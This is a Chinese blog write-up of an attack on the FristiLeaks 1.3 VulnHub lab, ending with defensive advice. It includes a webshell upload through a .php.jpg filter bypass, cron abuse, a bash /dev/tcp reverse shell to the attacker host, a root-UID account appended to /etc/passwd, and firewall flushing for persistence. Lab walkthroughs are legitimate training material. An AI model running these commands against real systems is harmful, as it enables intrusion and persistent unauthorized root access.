以下测试均在测试环境进行-遵纪守法
靶场下载地址:FristiLeaks: 1.3 ~ VulnHub
这个靶场作者像设置游戏一样,一路设置提示引导一步一步夺取root权限,乐趣蛮丰富的
首先下载之后,需要将靶场网卡MAC地址设置为要求的固定地址
08:00:27:A5:A6:76
之后开启靶机
#信息收集
第一步,进行信息收集,首先看一下自己攻击机kali所在的网段
我的是111.0网段
所以直接使用nmap 192.168.111.0/24
进行全网段主机发现
之后发现111.134
开启了80端口
使用 nmap 192.168.111.134 -O -p- 进行全端口扫描,无果,靶机只有80端口
尝试直接访问目标主机web服务
这个颜色,看时间久了眼睛真是受不了,和路边小粉灯一个颜色
话不多说,点一下页面上可以点击的那个链接,没什么反应,是请求了一个搜索,但是服务器,没有返回任何结果,好吧,鉴于靶场娱乐性较强,还是看看源码里面有没有彩蛋
彩蛋有,但是是空壳的,一毛钱用处都没有
尝试目录发现一下
dirb http://192.168.111.134/
发现了两个可以访问的目录
首先访问一下robots.txt
发现了有三个路径,遍历一下
不出意外,意外该来了,三个页面访问完毕,都特酿的是这个老头邪魅的眼神
还有英语好的给解释一下 you were looking for 到底中文该怎么翻译
好家伙,这道题,真的是,要是喜欢喝世界各地啤酒的那无敌了
三个目录遍历无果,按照我的思路看,这三个路径像是人昵称,所以,我把页面下面
那一长串致敬的人名都尝试拼接路径访问了一遍
并没有实际卵用
之后尝试搜了一下Fristileaks 并不是市面上商用系统,应该只是靶场名字,所以不可能找到公开漏洞
后来发现,作者老哥还是调皮的,用最显眼的方式进行了提示,果然,最危险的地方就是最安全的,一开始上来就没仔细看这几个字意思,意思让冷静点喝点FRISTI,擦,果然是得喝FRISTI
被嘲讽,哈哈
简单尝试了一下登录,无注入 无弱密码
按照惯例,翻一翻源码
开发小哥要是正常这么写代码,产品经理都气死了
提示是 有些东西需要清理,然后鸡贼的使用base64编码作为图片,将实际有用的信息挤到下面去了,但凡懒一点,不看到最后就错过了
把页面翻到最底下
这里注释掉了一段,格式像是base64的编码,复制尝试解码一下
解码之后不是文字,看开头,猜测可能是PNG图片,懒惰的我直接用bp替换响应体,让浏览器给解码了
然后替换了返回结果为注释掉的那一段
返回结果是不知道是啥,我还以为是电报呢,差点按电报去解密
首先尝试了一下admin 作为用户, KeKKeKKeKKeKKEkkEk 作为密码登录,失败
后来使用
用户名:eezeepz 登录成功了
是个文件上传
熟悉的页面,当然上熟悉的配方
php绕过三件套
等价扩展名 php3\4\\.... 不行
大小写、双写都不行,后来仔细看了一下,是后端校验不是前端校验,浪费半天力气
后来使用如下姿势
xxx.php.jpg形式上传之后会解析成功
应该靶场默认配置了.htaccess 文件
页面空白,说明解析成功
上蚁剑尝试连接
绿了,上去,翻文件
里面配置了mysql账户密码
www目录下有一个 notes.txt 里面给了提示信息
意识是说,这个用户,他的目录乱七八糟的文件太多了,需要去清理一下
我这该死的英语八级翻译能力
重点是,让清理,不然删除,我日,那我要都是重要文件,咋搞
不管了,直接切到/home/eezeepz目录下翻文件
顺带试了一下admin目录,没权限
这个目录下有很多命令文件
再往下翻
也有一个notes.txt
下面还有一个压缩包,下载了,本想着要是notes没利用价值,在解压看看
结果notes里面给了提示
大概意思是,将一些额外的二进制命令文件,复制到了自己的目录下,这些命令来自/home/admin 目录下,那就是有高权限喽,同时提示,只需要在/tmp目录下创建一个runthis文件,就能够被定时任务捕获,并执行
看了一下,这些额外命令,受伤力最大的是chmod 其它几个都是读,感觉都是小趴菜
按照要求的姿势 搞一个试试
echo /home/admin/chmod 777 /home/admin >/tmp/runthis
等1分钟之后,直接访问 /home/admin 发现现在是有权限了
翻一下文件
whoisyourgodnow.txt
有一个记事本文件,查看一下
感觉应该是base64反正写了,尝试过来试一下
=RFn0AKnlMHMPIzpyuTI0ITG
电脑刚重装,没环境找了一个在线python编译器
直接倒叙之后,将结果解码,发现不对是乱码
没办法,继续翻文件
其中的cryptpass.py 看了其中内同,是对输入的字符串进行编码
那大概就理解刚才看到的解码之后为什么是乱码了
原来姿势不对,那我们反向解码一下
先将原加密代码调试通,得到密文
在已知明文的情况下,对密文尝试逆向,对比解密之后是否与加密前的明文一致
这个加密步骤比较简洁,先对密码 进行base64编码。之后用凯撒加密方式进行加密
凯撒加密就是移位加密,将字符 固定移位 替代 比如 a 就向右数13个替代,具体向右数13个是哪个字母,不演示了,手指头不够用,手动狗头
好了,已经验证解密可行,那么将里面有个文件
内容解密
thisisalsopw123
应该是密码了,之后切换用户 把/etc/passwd 里面用户都试一下,看看有没有能成功的,一个都没有,大爷的,密码不对,原来是另一个文件的加密内容才是密码
密码是 LetThereBeFristi!
最终,登录了fristigod
在蚁剑的终端里面尝试切换用户会提示 这个,意思需要完整交互式shell才可以
目标靶机有bash 所以 配合nc反弹一个shell
攻击机:nc -lvnp 8888 监听
目标靶机:/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
连接成功
目标主机安装了python
利用 python -c 'import pty;pty.spawn("/bin/bash")' 获取一个完整的shell
之后再次尝试切换用户,成功
#提权
下面只剩提权这一个步骤了
sudo -l 看一下有没有可用的提权命令
命令有一个,但是具体咋用,为止,好在可心的好大哥,还是在历史命令里面留下了爱的提示
话说 都 god了还不是root,看来god也差点意思
history看一下历史命令
看 大概其 跟其它提权命令一样 后面直接跟要执行的命令
看来是这个思路
下面建个用户或者将ssh公钥 弄进去
我就直接新建个账户简单看一下
还是老配方,openssh创建密码
将账户追加到/etc/passwd后面
然后开启ssh服务,这个靶机需要关闭防火墙才行
利用openssh生成
抄自己其它文章作业
openssl passwd -1 -salt admin1 123456;
生成之后组成如下命令
admin1:$1$admin1$kBcb8DdRJKeqQ2e6acZ0J0:0:0:/root:/bin/bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom echo admin1:$1$admin1$kBcb8DdRJKeqQ2e6acZ0J0:0:0:/root:/bin/bash >> /etc/passwd
尝试了一下直接执行上面一句会因为特殊字符导致执行失败
换下面的方式,
首先给一个文件写入
admin1:$1$admin1$kBcb8DdRJKeqQ2e6acZ0J0:0:0:/root:/bin/bash
我是用蚁剑图形页面直接在/tmp下新增了一个123.txt,并把账户信息写进去了
之后利用命令
cd /var/fristigod/.secret_admin_stuff/ #这句是因为doCom在这个目录下,切换到这里不用敲那么长的命令
之后使用sudo -u fristi ./doCom cat /tmp/123.txt >> /etc/passwd
输入密码LetThereBeFristi! 追加账户到/etc/passwd
成功
后面多了几个字符,写的时候错误,不影响使用
之后su admin1
密码123456
登录后,开启ssh服务,并关闭防火墙
service sshd start
iptables -F
新开一个窗口,直接ssh admin1@192.168.111.134
成功
但是此维持权限方法较为粗暴,很容易被发现,不过比较简单,也可以用写公钥等其它方法维持
最后:
对于开发中代码内的注释 尤其 TODO 这种代码检视意见或者未来计划会给攻击者提供思路
使用复杂加密方式,或者杜绝关键信息本地存储
其次不要嘲讽或者威慑攻击者,会激怒攻击者,造成更多危害,本来人家就想溜达溜达,随便抄一网,没结果就走了,你一顿嘲讽,攻击者火了,发誓无论任何手段都要拿下你,那你惨了
严格限制系统能解析的文件格式,不要随便映射解析关系
定期对系统漏扫加固